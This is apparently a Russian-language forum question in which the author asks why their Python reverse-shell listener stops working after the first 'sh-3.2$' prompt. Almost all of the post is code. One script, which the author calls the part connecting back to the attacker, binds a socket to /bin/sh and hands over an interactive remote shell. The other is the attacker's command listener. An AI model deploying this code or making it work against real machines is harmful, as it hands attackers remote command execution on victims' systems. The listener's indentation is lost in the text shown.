Я пытаюсь сделать слушатель обратной оболочки, однако, отправка команд на цель не работает по какой-то причине, и я не могу получить ничего от цели, кроме первого сообщения: sh-3.2$
, после отправив свою первую команду (любой текст), я хочу иметь возможность правильно обрабатывать обратную оболочку, отправлять команды и получать их выходные данные.
обратная оболочка (часть, которая подключается обратно к атакующему): * Слушатель 1004 *
import socket, subprocess, os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);'`
(часть, которая должна обрабатывать обратную оболочку):
import socket
import sys
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
def main():
create_socket()
bind_socket()
accept_socket()
# Creating a socket.
def create_socket():
try:
global s
except socket.error as err:
print(f"Something went wrong while creating the socket: {err}.")
print("Exiting...")
sys.exit()
# Binding the socket.
def bind_socket(ip='0.0.0.0',port=1234):
try:
global s
s.bind((ip,port))
s.listen(7)
print(f'Listener is up on {ip}:{port}...')
except socket.error as err:
print(f"Something went wrong while binding the socket: {err}.")
print("Exiting...")
sys.exit()
# Accepting the incoming socket.
def accept_socket():
try:
client_socket, client_ip = s.accept()
print(f'Connection from {client_ip} has been established!')
client_socket.recv(1024).decode('utf-8')
send_command(client_socket)
client_socket.close()
except OSError as err:
print(f"Something went wrong while accepting the socket: {err}.")
print("Exiting...")
sys.exit()
# Sending commands to the target.
def send_command(client_socket):
global s
while True:
command = input('')
if (command.lower() == "exit"):
client_socket.close()
s.close()
sys.exit(0)
if str(command):
try:
client_socket.send(bytes(command,'utf-8'))
client_received_data = client_socket.recv(1024).decode('utf-8')
print(client_received_data)
except socket.timeout as err:
print(f'Connection Timedout" {err}')
print("Exiting...")
sys.exit()
main()